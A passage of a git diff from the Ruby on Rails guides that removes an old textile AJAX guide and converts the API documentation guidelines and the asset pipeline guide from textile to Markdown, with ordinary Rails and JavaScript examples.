-The way that happens is by inserting, removing or changing parts of the DOM. The
-DOM, or Document Object Model, is a convention to represent the HTML document as
-a set of nodes that contain other nodes. For example, a list of names is represented
-as a +ul+ element node containing several +li+ element nodes. An AJAX call can
-be made to obtain a new list item to include, and append it inside a +li+ node to
-the +ul+ node.
-
-h4. Asynchronous JavaScript + XML
-
-AJAX means Asynchronous JavaScript + XML. Asynchronous means that the page is not
-reloaded, the request made is separate from the regular page request. JavaScript
-is used to evaluate the response and the XML part is a bit misleading as XML is
-not required, you respond to the HTTP request with JSON or regular HTML as well.
-
-h4. The DOM
-
-The DOM (Document Object Model) is a convention to represent HTML (or XML)
-documents, as a set of nodes that act as objects and contain other nodes. You can
-have a +div+ element that contains other +div+ elements as well as +p+ elements
-that contain text.
-
-h4. Standard HTML communication vs AJAX
-
-In regular HTML comunications, when you click on a link, the browser makes an HTTP
-+GET+ request, the server responds with a new HTML document that the browsers renders
-and then replaces the previous one. The same thing happens when you click a button to
-submit a form, except that you make and HTTP +POST+ request, but you also get a new
-HTML document that the browser renders and replaces the current one. In AJAX
-communications, the request is separate, and the response is evaluated in JavaScript
-instead of rendered by the browser. That way you can have more control over the content
-that gets returned, and the page is not reloaded.
-
-h3. Built-in Rails Helpers
-
-Rails 4.0 ships with "jQuery":http://jquery.com as the default JavaScript library.
-The Gemfile contains +gem 'jquery-rails'+ which provides the +jquery.js+ and
-+jquery_ujs.js+ files via the asset pipeline.
-
-You will have to use the +require+ directive to tell Sprockets to load +jquery.js+
-and +jquery.js+. For example, a new Rails application includes a default
-+app/assets/javascripts/application.js+ file which contains the following lines:
-
-<plain>
-// ...
-//= require jquery
-//= require jquery_ujs
-// ...
-</plain>
-
-The +application.js+ file acts like a manifest and is used to tell Sprockets the
-files that you wish to require. In this case, you are requiring the files +jquery.js+
-and +jquery_ujs.js+ provided by the +jquery-rails+ gem.
-
-If the application is not using the asset pipeline, this can be accessed as:
-
-<ruby>
-javascript_include_tag :defaults
-</ruby>
-
-By default, +:defaults+ loads jQuery.
-
-You can also choose to use Prototype instead of jQuery and specify the option
-using +-j+ switch while generating the application.
-
-<shell>
-rails new app_name -j prototype
-</shell>
-
-This will add the +prototype-rails+ gem to the Gemfile and modify the
-+app/assets/javascripts/application.js+ file:
-
-<plain>
-// ...
-//= require prototype
-//= require prototype_ujs
-// ...
-</plain>
-
-You are ready to add some AJAX love to your Rails app!
-
-h4. Examples
-
-To make them working with AJAX, simply pass the <tt>remote: true</tt> option to
-the original non-remote method.
-
-<ruby>
-button_to 'New', action: 'new', form_class: 'new-thing'
-</ruby>
-
-will produce
-
-<html>
-<form method="post" action="/controller/new" class="new-thing">
- <div><input value="New" type="submit" /></div>
-</form>
-</html>
-
-<ruby>
-button_to 'Create', action: 'create', remote: true, form: { 'data-type' => 'json' }
-</ruby>
-
-will produce
-
-<html>
-<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
- <div><input value="Create" type="submit" /></div>
-</form>
-</html>
-
-<ruby>
-button_to 'Delete Image', { action: 'delete', id: @image.id },
- method: :delete, data: { confirm: 'Are you sure?' }
-</ruby>
-
-will produce
-
-<html>
-<form method="post" action="/images/delete/1" class="button_to">
- <div>
- <input type="hidden" name="_method" value="delete" />
- <input data-confirm='Are you sure?' value="Delete" type="submit" />
- </div>
-</form>
-</html>
-
-<ruby>
-button_to 'Destroy', 'http://www.example.com',
- method: 'delete', remote: true, data: { disable_with: 'loading...', confirm: 'Are you sure?' }
-</ruby>
-
-will produce
-
-<html>
-<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
- <div>
- <input name='_method' value='delete' type='hidden' />
- <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
- </div>
-</form>
-</html>
-
-h4. The Quintessential AJAX Rails Helper: link_to_remote
-
-Let's start with what is probably the most often used helper: +link_to_remote+. It has an interesting feature from the documentation point of view: the options supplied to +link_to_remote+ are shared by all other AJAX helpers, so learning the mechanics and options of +link_to_remote+ is a great help when using other helpers.
-
-The signature of +link_to_remote+ function is the same as that of the standard +link_to+ helper:
-
-<ruby>
-def link_to_remote(name, options = {}, html_options = nil)
-</ruby>
-
-And here is a simple example of link_to_remote in action:
-
-<ruby>
-link_to_remote "Add to cart",
- :url => add_to_cart_url(product.id),
- :update => "cart"
-</ruby>
-
-* The very first parameter, a string, is the text of the link which appears on the page.
-* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff:
-** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too.
-** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
-
-<ruby>
-link_to_remote "Add to cart",
- :url => add_to_cart_url(product),
- :update => { :success => "cart", :failure => "error" }
-</ruby>
-
-If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element.
-
-** *position* By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities:
-*** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.
-*** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element.
-*** +:top+ Inserts the text into the target element, before its original content. If the target element was empty, this is equivalent with not specifying +:position+ at all.
-*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content.
-
-A typical example of using +:bottom+ is inserting a new &lt;li&gt; element into an existing list:
-
-<ruby>
-link_to_remote "Add new item",
- :url => items_url,
- :update => 'item_list',
- :position => :bottom
-</ruby>
-
-** *:method* Most typically you want to use a POST request when adding a remote
-link to your view so this is the default behavior. However, sometimes you'll want to update (PATCH/PUT) or delete/destroy (DELETE) something and you can specify this with the +:method+ option. Let's see an example for a typical AJAX link for deleting an item from a list:
-
-<ruby>
-link_to_remote "Delete the item",
- :url => item_url(item),
- :method => :delete
-</ruby>
-
-Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy.
-
-** *JavaScript filters* You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one:
-*** +:condition+ =&gt; +code+ Evaluates +code+ (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise.
-*** +:before+ =&gt; +code+ Evaluates the +code+ just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).
-*** +:after+ =&gt; +code+ Evaluates the +code+ after launching the request. Note that this is different from the +:success+ or +:complete+ callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to +:after+ is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.
-*** +:submit+ =&gt; +dom_id+ This option does not make sense for +link_to_remote+, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id +dom_id+.
-*** +:with+ &gt; +code+ The JavaScript code snippet in +code+ is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, +code+ should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
-
-<ruby>
-link_to_remote "Update record",
- :url => record_url(record),
- :method => :patch,
- :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
-</ruby>
-
-This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
-
-** *Callbacks* Since an AJAX call is typically asynchronous, as its name suggests (this is not a rule, and you can fire a synchronous request - see the last option, +:type+) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
-*** +:loading:+ =&gt; +code+ The request is in the process of receiving the data, but the transfer is not completed yet.
-*** +:loaded:+ =&gt; +code+ The transfer is completed, but the data is not processed and returned yet
-*** +:interactive:+ =&gt; +code+ One step after +:loaded+: The data is fully received and being processed
-*** +:success:+ =&gt; +code+ The data is fully received, parsed and the server responded with "200 OK"
-*** +:failure:+ =&gt; +code+ The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
-*** +:complete:+ =&gt; +code+ The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
-*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
-<ruby>
-link_to_remote "Add new item",
- :url => items_url,
- :update => "item_list",
- 404 => "alert('Item not found!')"
-</ruby>
-Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
-
-<ruby>
-link_to_remote "Add new item",
- :url => items_url,
- :update => "item_list",
- :before => "$('progress').show()",
- :complete => "$('progress').hide()",
- :success => "display_item_added(request)",
- :failure => "display_error(request)"
-</ruby>
-
-** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
-* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
-** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
-** +link_to_remote+ gains its AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply +html_options[:onclick]+ you override the default behavior, so use this with care!
-
-We are finished with +link_to_remote+. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.
-
-h4. AJAX Forms
-
-There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following:
-
-* +remote_form_for+ (and its alias +form_remote_for+) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter.
-* +form_remote_tag+ AJAXifies the form by serializing and sending its data in the background
-* +submit_to_remote+ and +button_to_remote+ is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input
-
-Let's see them in action one by one!
-
-h5. +remote_form_for+
-
-h5. +form_remote_tag+
-
-h5. +submit_to_remote+
-
-h4. Serving JavaScript
-
-First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood.
-
-<ruby>
-def javascript_test
- render :text => "alert('Hello, world!')",
- :content_type => "text/javascript"
-end
-</ruby>
-
-(Note: if you want to test the above method, create a +link_to_remote+ with a single parameter - +:url+, pointing to the +javascript_test+ action)
-
-What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).
-
-h3. Testing JavaScript
-
-JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:
-
-* (Fire)Watir
-* Selenium
-* Celerity/Culerity
-* Cucumber+Webrat
-* Mention stuff like screw.unit/jsSpec
-
-Note to self: check out the RailsConf JS testing video
diff --git a/guides/source/api_documentation_guidelines.textile b/guides/source/api_documentation_guidelines.md
index 3de5b119ee..dcfa7eb6fb 100644
--- a/guides/source/api_documentation_guidelines.textile
+++ b/guides/source/api_documentation_guidelines.md
@@ -1,14 +1,17 @@
-h2. API Documentation Guidelines
+API Documentation Guidelines
+============================
This guide documents the Ruby on Rails API documentation guidelines.
-endprologue.
+--------------------------------------------------------------------------------
-h3. RDoc
+RDoc
+----
-The Rails API documentation is generated with RDoc. Please consult the documentation for help with the "markup":http://rdoc.rubyforge.org/RDoc/Markup.html, and also take into account these "additional directives":http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html.
+The Rails API documentation is generated with RDoc. Please consult the documentation for help with the [markup](http://rdoc.rubyforge.org/RDoc/Markup.html), and also take into account these [additional directives](http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html).
-h3. Wording
+Wording
+-------
Write simple, declarative sentences. Brevity is a plus: get to the point.
@@ -16,67 +19,69 @@ Write in present tense: "Returns a hash that...", rather than "Returned a hash t
Start comments in upper case. Follow regular punctuation rules:
-<ruby>
+```ruby
# Declares an attribute reader backed by an internally-named instance variable.
def attr_internal_reader(*attrs)
...
end
-</ruby>
+```
Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
-The proper names of Rails components have a space in between the words, like "Active Support". +ActiveRecord+ is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
+The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
-h3. English
+English
+-------
-Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences.
+Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
-h3. Example Code
+Example Code
+------------
Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
-Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use "Rails coding conventions":contributing_to_ruby_on_rails.html#follow-the-coding-conventions.
+Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions).
Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
-<ruby>
+```ruby
# Converts a collection of elements into a formatted string by calling
-# <tt>to_s</tt> on all elements and joining them.
+# `to_s` on all elements and joining them.
#
# Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
-</ruby>
+```
On the other hand, big chunks of structured documentation may have a separate "Examples" section:
-<ruby>
+```ruby
# ==== Examples
#
# Person.exists?(5)
# Person.exists?('5')
# Person.exists?(:name => "David")
# Person.exists?(['name LIKE ?', "%#{query}%"])
-</ruby>
+```
The results of expressions follow them and are introduced by "# => ", vertically aligned:
-<ruby>
+```ruby
# For checking if a fixnum is even or odd.
#
# 1.even? # => false
# 1.odd? # => true
# 2.even? # => true
# 2.odd? # => false
-</ruby>
+```
If a line is too long, the comment may be placed on the next line:
-<ruby>
+```ruby
# label(:post, :title)
# # => <label for="post_title">Title</label>
#
@@ -85,55 +90,58 @@ If a line is too long, the comment may be placed on the next line:
#
# label(:post, :title, "A short title", :class => "title_label")
# # => <label for="post_title" class="title_label">A short title</label>
-</ruby>
+```
-Avoid using any printing methods like +puts+ or +p+ for that purpose.
+Avoid using any printing methods like `puts` or `p` for that purpose.
On the other hand, regular comments do not use an arrow:
-<ruby>
+```ruby
# polymorphic_url(record) # same as comment_url(record)
-</ruby>
+```
-h3. Filenames
+Filenames
+---------
As a rule of thumb, use filenames relative to the application root:
-<plain>
+```
config/routes.rb # YES
routes.rb # NO
RAILS_ROOT/config/routes.rb # NO
-</plain>
+```
-h3. Fonts
+Fonts
+-----
-h4. Fixed-width Font
+### Fixed-width Font
Use fixed-width fonts for:
+
* Constants, in particular class and module names.
* Method names.
-* Literals like +nil+, +false+, +true+, +self+.
+* Literals like `nil`, `false`, `true`, `self`.
* Symbols.
* Method parameters.
* File names.
-<ruby>
+```ruby
class Array
- # Calls <tt>to_param</tt> on all its elements and joins the result with
- # slashes. This is used by <tt>url_for</tt> in Action Pack.
+ # Calls +to_param+ on all its elements and joins the result with
+ # slashes. This is used by +url_for+ in Action Pack.
def to_param
collect { |e| e.to_param }.join '/'
end
end
-</ruby>
+```
-WARNING: Using a pair of +&#43;...&#43;+ for fixed-width font only works with *words*; that is: anything matching <tt>\A\w&#43;\z</tt>. For anything else use +&lt;tt&gt;...&lt;/tt&gt;+, notably symbols, setters, inline snippets, etc.
+WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc.
-h4. Regular Font
+### Regular Font
When "true" and "false" are English words rather than Ruby keywords use a regular font:
-<ruby>
+```ruby
# Runs all the validations within the specified context. Returns true if no errors are found,
# false otherwise.
#
@@ -145,23 +153,25 @@ When "true" and "false" are English words rather than Ruby keywords use a regula
def valid?(context = nil)
...
end
-</ruby>
+```
-h3. Description Lists
+Description Lists
+-----------------
In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
-<ruby>
-# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
-</ruby>
+```ruby
+# * <tt>:allow_nil</tt> - Skip validation if attribute is `nil`.
+```
The description starts in upper case and ends with a full stop—it's standard English.
-h3. Dynamically Generated Methods
+Dynamically Generated Methods
+-----------------------------
-Methods created with +(module|class)_eval(STRING)+ have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
+Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
-<ruby>
+```ruby
for severity in Severity.constants
class_eval <<-EOT, __FILE__, __LINE__
def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block)
@@ -173,11 +183,11 @@ for severity in Severity.constants
end # end
EOT
end
-</ruby>
+```
If the resulting lines are too wide, say 200 columns or more, put the comment above the call:
-<ruby>
+```ruby
# def self.find_by_login_and_activated(*args)
# options = args.extract_options!
# ...
@@ -188,4 +198,4 @@ self.class_eval %{
...
end
}
-</ruby>
+```
diff --git a/guides/source/asset_pipeline.textile b/guides/source/asset_pipeline.md
index e385ec4f17..be7ca5107d 100644
--- a/guides/source/asset_pipeline.textile
+++ b/guides/source/asset_pipeline.md
@@ -1,4 +1,5 @@
-h2. Asset Pipeline
+Asset Pipeline
+==============
This guide covers the asset pipeline introduced in Rails 3.1.
By referring to this guide you will be able to:
@@ -9,366 +10,363 @@ By referring to this guide you will be able to:
* Add a pre-processor to the pipeline
* Package assets with a gem
-endprologue.
+--------------------------------------------------------------------------------
-h3. What is the Asset Pipeline?
+What is the Asset Pipeline?
+---------------------------
The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
-Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default.
+Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the `sprockets` gem, by default.
Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
-In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition:
+In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition:
-<ruby>
+```ruby
config.assets.enabled = false
-</ruby>
+```
-You can also disable the asset pipeline while creating a new application by passing the <tt>--skip-sprockets</tt> option.
+You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option.
-<plain>
+```bash
rails new appname --skip-sprockets
-</plain>
+```
You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline.
-h4. Main Features
+### Main Features
The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser must make to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.
-Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing +:cache => true+ at the end of the +javascript_include_tag+ and +stylesheet_link_tag+ methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
+Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `:cache => true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
-Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master +.js+ file and all CSS files into one master +.css+ file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents..
+Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents..
The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.
-h4. What is Fingerprinting and Why Should I Care?
+### What is Fingerprinting and Why Should I Care?
Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.
When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_.
-The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ could be renamed with an MD5 digest of its contents:
+The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents:
-<plain>
+```
global-908e25f4bf641868d8683022a5b62f54.css
-</plain>
+```
This is the strategy adopted by the Rails asset pipeline.
Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:
-<plain>
+```
/stylesheets/global.css?1309495796
-</plain>
+```
The query string strategy has several disadvantages:
-<ol>
- <li>
- <strong>Not all caches will reliably cache content where the filename only differs by query parameters</strong>.<br>
- "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
- </li>
- <li>
- <strong>The file name can change between nodes in multi-server environments.</strong><br>
+1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br />
+ [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
+
+2. **The file name can change between nodes in multi-server environments.**<br />
The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
- </li>
- <li>
- <strong>Too much cache invalidation</strong><br />
+3. **Too much cache invalidation**<br />
When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
- </li>
-</ol>
Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.
-Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the +config.assets.digest+ option.
+Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option.
More reading:
-* "Optimize caching":http://code.google.com/speed/page-speed/docs/caching.html
-* "Revving Filenames: don’t use querystring":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/
+* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
+* [Revving Filenames: don’t use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
-h3. How to Use the Asset Pipeline
+How to Use the Asset Pipeline
+-----------------------------
-In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
+In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
-Assets can still be placed in the +public+ hierarchy. Any assets under +public+ will be served as static files by the application or web server. You should use +app/assets+ for files that must undergo some pre-processing before they are served.
+Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served.
-In production, Rails precompiles these files to +public/assets+ by default. The precompiled copies are then served as static assets by the web server. The files in +app/assets+ are never served directly in production.
+In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production.
-When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller.
+When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller.
-For example, if you generate a +ProjectsController+, Rails will also add a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+.
+For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`.
-NOTE: You must have an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
+NOTE: You must have an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes.
-h4. Asset Organization
+### Asset Organization
-Pipeline assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+.
+Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
-+app/assets+ is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
+* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
-+lib/assets+ is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
+* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
-+vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
+* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
-h5. Search paths
+#### Search paths
When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.
-The default locations are: +app/assets/images+ and the subdirectories +javascripts+ and +stylesheets+ in all three asset locations, but these subdirectories are not special. Any path under +assets/*+ will be searched.
+The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations, but these subdirectories are not special. Any path under `assets/*` will be searched.
For example, these files:
-<plain>
+```
app/assets/javascripts/home.js
lib/assets/javascripts/moovinator.js
vendor/assets/javascripts/slider.js
vendor/assets/somepackage/phonebox.js
-</plain>
+```
would be referenced in a manifest like this:
-<plain>
+```js
//= require home
//= require moovinator
//= require slider
//= require phonebox
-</plain>
+```
Assets inside subdirectories can also be accessed.
-<plain>
+```
app/assets/javascripts/sub/something.js
-</plain>
+```
is referenced as:
-<plain>
+```js
//= require sub/something
-</plain>
+```
-You can view the search path by inspecting +Rails.application.config.assets.paths+ in the Rails console.
+You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console.
-Besides the standard +assets/*+ paths, additional (fully qualified) paths can be added to the pipeline in +config/application.rb+. For example:
+Besides the standard `assets/*` paths, additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example:
-<ruby>
+```ruby
config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
-</ruby>
+```
